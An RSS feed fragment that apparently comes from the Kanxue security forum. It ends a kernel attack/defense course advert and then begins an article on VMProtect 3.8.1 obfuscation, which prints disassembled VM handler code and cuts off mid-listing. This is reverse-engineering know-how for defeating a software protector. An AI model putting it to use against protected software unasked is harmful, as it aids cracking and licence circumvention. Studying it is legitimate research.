15px;box-shadow: rgb(255, 255, 255) 0px 0px 5px 0px inset;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-radius: 10px;overflow: hidden;padding: 5px;background-color: rgba(255, 255, 255, 0.55);box-shadow: rgb(255, 255, 255) 0px 0px 5px 0px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 2;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: middle;align-self: center;flex: 100 100 0%;background-color: rgb(255, 255, 255);border-radius: 10px;overflow: hidden;padding: 5px 15px;height: auto;border-style: solid;border-width: 0px;border-color: rgba(255, 255, 255, 0.55);box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: center;color: rgb(0, 0, 0);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">🔍 报名</span></strong></p></div></div></div></div></div></div></div></div><p data-mpa-action-id="mnppmxym1ejj" data-pm-slice="0 0 []" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="400" style="background-color:transparent;width:144px;height:144px;" data-imgfileid="311129416" src="https://wechat2rss.xlab.app/img-proxy/?k=e005e2c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0vibTT9FiasXeIzB9TlJK4rnPz7T9OZU5cYhtMDx4ZCkRzkB9mnPfVLK3p2Iw1D0rw7icBRbH94foFf2ZckkRHmAmzPwaSJXyYpM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">《基于CVD的云手机定制与风控分析》</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">💰¥2499</span></strong></p></div></div><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="margin: -24px 0% 10px;text-align: left;box-sizing: border-box;"><div style="display: inline-block;border: 2px solid rgba(255, 255, 255, 0);padding: 0.1em 0.3em;background-color: rgb(44, 74, 242);color: rgb(255, 255, 255);line-height: 1.8;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">《</span><span leaf="">内核攻防高级班：Windows内核攻防实战</span><span leaf="">》</span></p></div></div><div style="line-height: 1.8;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: normal;">3-1 公共基础库集成</span></span></strong></p><p><span leaf=""><a href="https://www.kanxue.com/book-227-5897.htm" target="_blank">https://www.kanxue.com/book-227-5897.htm</a></span></p><p><span leaf="">3-2 应用态内核态通信方案全解（上）</span></p><p><span leaf=""><a href="https://www.kanxue.com/book-227-5898.htm" target="_blank">https://www.kanxue.com/book-227-5898.htm</a></span></p><p><span leaf="">3-3 应用态内核态通信方案全解（中）</span></p><p><span leaf=""><a href="https://www.kanxue.com/book-227-5899.htm" target="_blank">https://www.kanxue.com/book-227-5899.htm</a></span></p><p><span leaf="">3-4 应用态内核态通信方案全解（下）</span></p><p><span leaf=""><a href="https://www.kanxue.com/book-227-5900.htm" target="_blank">https://www.kanxue.com/book-227-5900.htm</a></span></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="font-size: 16px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">报名入口</span></b></p></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 40%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(110deg, rgb(44, 74, 242) 0%, rgb(155, 90, 237) 100%);padding: 15px;box-shadow: rgb(255, 255, 255) 0px 0px 5px 0px inset;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-radius: 10px;overflow: hidden;padding: 5px;background-color: rgba(255, 255, 255, 0.55);box-shadow: rgb(255, 255, 255) 0px 0px 5px 0px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 2;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: middle;align-self: center;flex: 100 100 0%;background-color: rgb(255, 255, 255);border-radius: 10px;overflow: hidden;padding: 5px 15px;height: auto;border-style: solid;border-width: 0px;border-color: rgba(255, 255, 255, 0.55);box-sizing: border-box;"><div style="text-align: center;color: rgb(0, 0, 0);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">🔍 报名</span></strong></p></div></div></div></div></div></div></div><p data-mpa-action-id="mnppmxym1ejj" data-pm-slice="0 0 []" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9649122807017544" data-s="300,640" data-type="png" data-w="342" style="background-color:transparent;width:144px;height:144px;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/Cpo2XCpI7K1WKZIgXiaiavUr1NiaaO2ch3W2obZEBYd2SfAv0j5yqL1h1YSA0LDDDV4YMpN25TQ2sGfTS7KJWglJH7V5I3MlcbCgnrU3vq6UWI/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="144" data-cropsely2="144" data-imgfileid="311130967" src="https://wechat2rss.xlab.app/img-proxy/?k=81e8d2e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1WKZIgXiaiavUr1NiaaO2ch3W2obZEBYd2SfAv0j5yqL1h1YSA0LDDDV4YMpN25TQ2sGfTS7KJWglJH7V5I3MlcbCgnrU3vq6UWI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">《</span><span leaf="">内核攻防高级班：Windows内核攻防实战</span><span leaf="">》</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">💰¥16200</span></strong></p></div></div></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311129404" src="https://wechat2rss.xlab.app/img-proxy/?k=26bd27c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0LfXJ8ib0oWTbRvPFiccIoznZZlmDEJku28hiaFQx7vY7j5gtSvUEQVHtV6SmurcVzHgHbuB6xic2RF7wOfEUtjHSSkN3QYYX1QfY%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311129407" src="https://wechat2rss.xlab.app/img-proxy/?k=5bf89cd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K1lvtWpvicbGCrLtdU8bbha3ME57QIveIUibGPjOzZC3FszX6bDQ4NRazIDtgPKqq5ChTV7bScZdnYUREaiaZmlh3iat1JlxQK2VVQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311129408" src="https://wechat2rss.xlab.app/img-proxy/?k=05357e41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K1cjK3zvb6lf3H8X4chiaWyTODC9O7yO0EQib1Ob8mw1F47BU6WrwricyOiaOuUz5nGDBsBIq0iarTaJTIcQCISTewiajvic0MictSzzN4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311129413" src="https://wechat2rss.xlab.app/img-proxy/?k=f32e843f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K2WGIGp9d9YibnX7fD5VUHpLzbXuvPr63P0qDNnnrT6ea10s8YpFMPDKGx7kyDIK8SFPuWBO7Miag4xpDfMHyQGOXYNBiaIFDZDRE%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311129412" src="https://wechat2rss.xlab.app/img-proxy/?k=d009e230&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K3CsiaoonpfryTdIhZvxRsF5OywhCgKwIsoZU2egMQvWiamVkbbP3NyZY96niblaQe9m0icfTJTbYOL4TzffQTmddB7MTDzzSy8Ueo%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/course.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8b848ec5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614619%26idx%3D4%26sn%3D298a2fdc8ed17b65e5944cda2cc1fd95">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>VMProtect 3.8.1 混淆策略大揭秘</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614579&amp;idx=1&amp;sn=e7e00532d3ef8803a5e4206d31b932ff</link>
      <description>看雪论坛作者ID：阿强</description>
      <content:encoded><![CDATA[<p><span>阿强</span> <span>2026-05-06 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0251ef89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3iaeELsg9QbYxBcPuSMibn39aHv2ibKdQuQUkAiavReTgedOZrc1icRsVWIntowBKrgmbPMHMtEuhhHcV5406fGrficNegjfWDUPTew%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：阿强</p>
  <p><span leaf="" mpa-font-style="moiavzih1ldc" style="font-size: 15px;">自从VMProtect 3.5.1 被爆出源码泄露开始直到最后的那一两个最重要的源文件也被公之于众之后，VMProtect 3.5.1算是在所有的逆向开发人员面前裸奔了。</span></p><p><span leaf="" mpa-font-style="moiavzih1ldc" style="font-size: 15px;">有意思的是VMProtect并没有就此一蹶不振，反而绝地反击，它的实力和之前相比反而变得更强了，这是怎么回事呢？</span></p><p><span leaf="" mpa-font-style="moiavzih1ldc" style="font-size: 15px;">这里面我们八卦一下，扒一扒他的版本，源码完全流出直到论坛上有大神分享编译的文章这时候是 2023年12月份左右，我们记住这个时间点，当我们全民都拥有源码的时候，其实VMProtect早已脱胎换骨了，我们来到他的官网<a href="https://vmpsoft.com/news/page/3/可以找到他的更新日志。" target="_blank">https://vmpsoft.com/news/page/3/可以找到他的更新日志。</a></span><span leaf=""><br/></span><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="311130570" data-ratio="0.37943262411347517" style="max-width: 100%;" data-type="webp" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=5b3b1c2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2YkzSWOY9cgoRjltxSwNWEjIiaYYVmZDqPBxnPKf4Oku5Q2pRoZwaia1ppYRfbxDgbO0YQS92doOosPCYslm6u9OYibU4aEG47jI%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.355674709562109" data-type="webp" data-w="1119" style="max-width: 100%;" data-imgfileid="311130571" src="https://wechat2rss.xlab.app/img-proxy/?k=bec988e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1iciaotHMnHe65eZ8iaXYNA5kEa0ElngF4o7CPf4lNYlC11icQcFTI5wfLiaFl9o3zs0RkQibDpiawfyaIoPiaHK25OJWiclQtKILcG9Vc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span><span leaf=""><br/></span><span leaf="" mpa-font-style="moiavzih1rzn" style="font-size: 15px;">我们可以看到这里增加好的选项，这些选项可不是简简单单的混淆，每一个拿出来都是王炸，毫不夸张的说如果3.8版本之后的VMProtect是一位浑身都是的肌肉的猛男。</span></p><p><span leaf="" mpa-font-style="moiavzih1rzn" style="font-size: 15px;">那么3.8版本之前的VMProtect只能算是一个娇羞的小萝莉，我们可以看到3.8更新的时间点是2023年初，这里我们大家可以讨论一下VMProtect3.8的大更新是不是因为源码泄露而做出的紧急补救手段。因为VMProtect3.8发布的时间恰巧也是源码泄露的那段时间，当时我第一次得知VMProtect源码泄露的时候，还以为VMProtect就此跌落神坛，从此一蹶不振，没想到他居然放出大招，这次的大更新可以将其称之为新版VMProtect。</span></p><p><span leaf="" mpa-font-style="moiavzih1rzn" style="font-size: 15px;">它不是像牙膏厂一样挤药膏似的更新，而是夸张到等同于重构了整个源码，增加了非常多的变态混淆策略，在很多地方都进行了非常大的改动。那么接下来我们将逐一分析他的逆天改动。</span></p><p><span leaf="" mpa-font-style="moiavzih1v0p" style="font-size: 15px;">第1点：全指令变形，但凡能够使用替代指令几乎都使用了，目前只有异或解密指令没有进行混淆。</span></p><p><span leaf="" mpa-font-style="moiavzih1nr4" style="font-size: 15px;">其他所有指令都或多或少有一两种变体，大家也可以联想到他们变种的样子，这里我举几个例子。</span></p><p><span leaf="" mpa-font-style="moiavzihah3" style="font-size: 15px;">伪代码解密：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzih1p07"><span leaf=""><span class="code-snippet__number">00422864</span> | </span><span leaf="">xor</span><span leaf="">al</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[ebp+edx-0x7]</span><span leaf=""><span class="code-snippet__comment">//伪代码读取指令有四种变体    </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00422868</span> | </span><span leaf="">xor</span><span leaf="">al</span><span leaf="">,</span><span leaf="">bl</span><span leaf=""><span class="code-snippet__comment">//无法变形，维持原样            </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042286</span></span><span leaf="">A</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.42BE65</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE65</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*2+0x2]</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xC8169CA3</span><span leaf="">     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE6D</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE6F</span><span leaf=""> | </span><span leaf="">xchg</span><span leaf="">word</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx+0x1]</span><span leaf="">,</span><span leaf="">dx</span><span leaf="">               |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE74</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*8-0x729D0]</span><span leaf="">,</span><span leaf="">edx</span><span leaf="">        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE7B</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0xE53B]</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x57</span><span leaf="">          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE83</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xA6</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE85</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edx*2+0x2FBCE804]</span><span leaf="">         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE8C</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">dl</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE8E</span><span leaf=""> | </span><span leaf="">sete</span><span leaf="">dl</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE91</span><span leaf=""> | </span><span leaf="">dec</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">BE93</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.5088D5</span><span leaf="">                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">005088</span></span><span leaf="">D5</span><span leaf=""> | </span><span leaf="">call</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.5074A0</span><span leaf="">                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">005074</span></span><span leaf="">A0</span><span leaf=""> | </span><span leaf="">neg</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">005074</span></span><span leaf="">A2</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">edx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">005074</span></span><span leaf="">A3</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">edx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xFFF7AC3A</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">005074</span></span><span leaf="">A9</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">edx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00483514</span> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x119DB08A</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00483519</span> | </span><span leaf="">xchg</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*4-0x4676C225]</span><span leaf="">,</span><span leaf="">dl</span><span leaf="">      |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00483520</span> | </span><span leaf="">add</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x9E</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00483522</span> | </span><span leaf="">lea</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edx+edx*4+0x11B81E34]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00483529</span> | </span><span leaf="">xadd</span><span leaf="">word</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0x69CC901C]</span><span leaf="">,</span><span leaf="">dx</span><span leaf="">        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00483532</span> | </span><span leaf="">xor</span><span leaf="">bl</span><span leaf="">,</span><span leaf="">al</span><span leaf=""><span class="code-snippet__comment">//无法变形，维持原样                                </span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzih1lyf" style="font-size: 15px;">伪代码读取指令的五种可能形式：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzihc1u"><span leaf="">mov</span><span leaf="">eax</span><span leaf="">，</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf=""><span class="code-snippet__comment">//原始版本</span></span><span leaf=""><br/></span><span leaf="">xor</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//新增前置eax清零指令，也可以是其他清零指令</span></span><span leaf=""><br/></span><span leaf="">add</span><span leaf="">eax</span><span leaf="">，</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf=""><span class="code-snippet__comment">//变体1</span></span><span leaf=""><br/></span><span leaf="">xor</span><span leaf="">eax</span><span leaf="">，</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf=""><span class="code-snippet__comment">//变体2</span></span><span leaf=""><br/></span><span leaf="">or</span><span leaf="">eax</span><span leaf="">，</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf=""><span class="code-snippet__comment">//变体3</span></span><span leaf=""><br/></span><span leaf="">adc</span><span leaf="">eax</span><span leaf="">，</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf=""><span class="code-snippet__comment">//变体4</span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzihidn" style="font-size: 15px;">计算Handler地址：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzihbny"><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">C9172</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[ebp-0x4]</span><span leaf=""><span class="code-snippet__comment">//读取伪代码</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">C9176</span><span leaf=""> | </span><span leaf="">jno</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.46E996</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E996</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x581983A</span><span leaf="">                               |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E99B</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">ebx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E99D</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x1</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E99F</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">edx</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E9A1</span><span leaf=""> | </span><span leaf="">bswap</span><span leaf="">eax</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E9A3</span><span leaf=""> | </span><span leaf="">push</span><span leaf="">edx</span><span leaf="">                                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E9A4</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">byte</span><span leaf="">ptr</span><span 